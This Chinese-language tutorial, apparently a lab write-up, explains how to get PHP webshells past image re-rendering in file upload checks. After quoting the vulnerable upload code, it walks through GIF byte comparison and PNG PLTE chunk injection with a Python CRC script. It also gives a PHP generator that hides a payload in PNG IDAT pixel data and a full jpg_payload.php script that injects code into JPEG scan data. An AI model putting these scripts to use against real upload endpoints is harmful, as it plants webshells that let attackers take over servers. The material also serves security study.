簡介
-
什么是二次渲染
目前很多網站都會對用戶上傳的圖片再次壓縮、裁剪等渲染操作(如PHP中的imagecreatefromjpeg()
等函數),所以普通的圖片馬都難逃被渲染的悲劇。 -
繞過
-
GIF
渲染前后的兩張 GIF,沒有發生變化的數據塊部分直接插入 Webshell 即可
-
PNG
PNG 沒有 GIF 那么簡單,需要將數據寫入到 PLTE 數據塊 或者 IDAT 數據塊
-
JPG
JPG 需要使用腳本將數據插入到特定的數據塊,而且可能會不成功,所以需要多次嘗試
-
源碼分析
以其中一個為例
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 獲得上傳文件的基本信息,文件名,類型,大小,臨時文件路徑
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 獲得上傳文件的擴展名
$fileext= substr(strrchr($filename,"."),1);
//判斷文件后綴與類型,合法才進行上傳操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上傳的圖片生成新的圖片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "該文件不是jpg格式的圖片!";
@unlink($target_path);
}else{
//給新圖片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上傳出錯!";
}
}else{
$msg = "只允許上傳后綴為.jpg|.png|.gif的圖片文件!";
}
}
1.basename($filename)
返回路徑中的文件名,假設命名為upload/1.php
,經過函數處理為:1.php
2.將文件路徑位置賦值給target_path
3.獲取文件后綴名$fileext
4.如果后綴名符合白名單,就移動到上傳路徑
5.然后使用imagecreatefromjpeg()
函數,從target_path
路徑的那個文件生成一個新的文件
6.srand(time());
已經廢棄了,使用rand就行
7.strval() 函數獲取rand()的字符串值,然后重命名一個新文件名$newfilename
8.指定一個新文件的位置$img_path
9.imagejpeg將渲染的圖像生成到指定路徑$img_path,生成圖片
10.刪除target_path
路徑的文件
上傳GIF
gif圖片的特點是無損, 修改圖片后,圖片質量幾乎沒有損失
我們可以對比上傳前后圖片的內容字節,在渲染后不會被修改的部分插入木馬。
可以使用010編輯器(更直觀一點)
左側是上傳前,右側是上傳后,比較發現這段數據一模一樣
修改這段數據,再上傳對比,數據沒有丟失,木馬插入成功
連接成功
上傳png
png的二次渲染的繞過並不能像gif那樣簡單.
png文件組成
png圖片由3個以上的數據塊組成.
PNG定義了兩種類型的數據塊,一種是稱為關鍵數據塊(critical chunk),這是標准的數據塊,
另一種叫做輔助數據塊(ancillary chunks),這是可選的數據塊。
關鍵數據塊定義了3個標准數據塊(IHDR,IDAT, IEND),每個PNG文件都必須包含它們
數據塊結構
名稱 | 字節數 | 說明 |
---|---|---|
長度(Length) | 4 | 指定數據塊中數據域的長度,其長度不超過2*31-1字節 |
數據塊類型碼(Chunk Type Code) | 4 | 數據塊類型由ASCII字母(A-Z和a-z)組成 |
數據塊數據(Chunk Data) | 可變長度 | 存儲按照Chunk Type Code指定的類型 |
循環冗余檢測(CRC) | 4 | 存儲用來檢測是否有錯誤的循環冗余碼 |
CRC(cyclic redundancy check)域中的值是對Chunk Type Code域和Chunk Data域中的數據進行計算得到的。CRC具體算法定義在ISO 3309和ITU-T V.42中,其值按下面的CRC碼生成多項式進行計算:
x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1
CRC: 一種校驗算法。僅僅用來校驗數據的正確性的
分析數據塊
IHDR
數據塊IHDR(header chunk):它包含有PNG文件中存儲的圖像數據的基本信息,並要作為第一個數據塊出現在PNG數據流中,而且一個PNG數據流中只能有一個文件頭數據塊。
文件頭數據塊由13字節組成,它的格式如下圖所示。
PLTE
調色板PLTE數據塊是輔助數據塊,對於索引圖像,調色板信息是必須的,調色板的顏色索引從0開始編號,然后是1、2……,調色板的顏色數不能超過色深中規定的顏色數(如圖像色深為4的時候,調色板中的顏色數不可以超過2^4=16),否則,這將導致PNG圖像不合法。
IDAT
圖像數據塊IDAT(image data chunk):它存儲實際的數據,在數據流中可包含多個連續順序的圖像數據塊。
IDAT存放着圖像真正的數據信息,因此,如果能夠了解IDAT的結構,我們就可以很方便的生成PNG圖像
IEND
圖像結束數據IEND(image trailer chunk):它用來標記PNG文件或者數據流已經結束,並且必須要放在文件的尾部。
如果我們仔細觀察PNG文件,我們會發現,文件的結尾12個字符看起來總應該是這樣的:
00 00 00 00 49 45 4E 44 AE 42 60 82
寫入php代碼
在網上找到了兩種方式來制作繞過二次渲染的png木馬.
寫入PLTE數據塊
php底層在對PLTE數據塊驗證的時候,主要進行了CRC校驗.所以可以再chunk data域插入php代碼,然后重新計算相應的crc值並修改即可.
這種方式只針對索引彩色圖像的png圖片才有效,在選取png圖片時可根據IHDR數據塊的color type辨別.03
為索引彩色圖像.
-
在PLTE數據塊寫入php代碼.
2.計算PLTE數據塊的CRC
CRC腳本
import binascii
import re
png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)
''' PLTE crc '''
data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)
d369f66d
修改crc的值
上傳后連接成功
寫入IDAT數據塊
國外大牛寫的腳本,直接拿來運行即可.
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
運行之后,發現生成了一個1.php,打開分析里面已經寫入代碼了
但是運行不了,不知道是什么原因
上傳jpg
由於jpg圖片易損,對圖片的選取有很大關系,很容易制作失敗
采用國外大牛編寫的腳本jpg_payload.php
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
准備
隨便找一個jpg圖片,先上傳至服務器然后再下載到本地保存為2.jpg
插入php代碼
執行命令php jpg_payload.php 1.jpg
然后上傳,就連接成功了
我復現沒成功,因為有一些jpg圖片不能被處理,要多嘗試一些jpg圖片.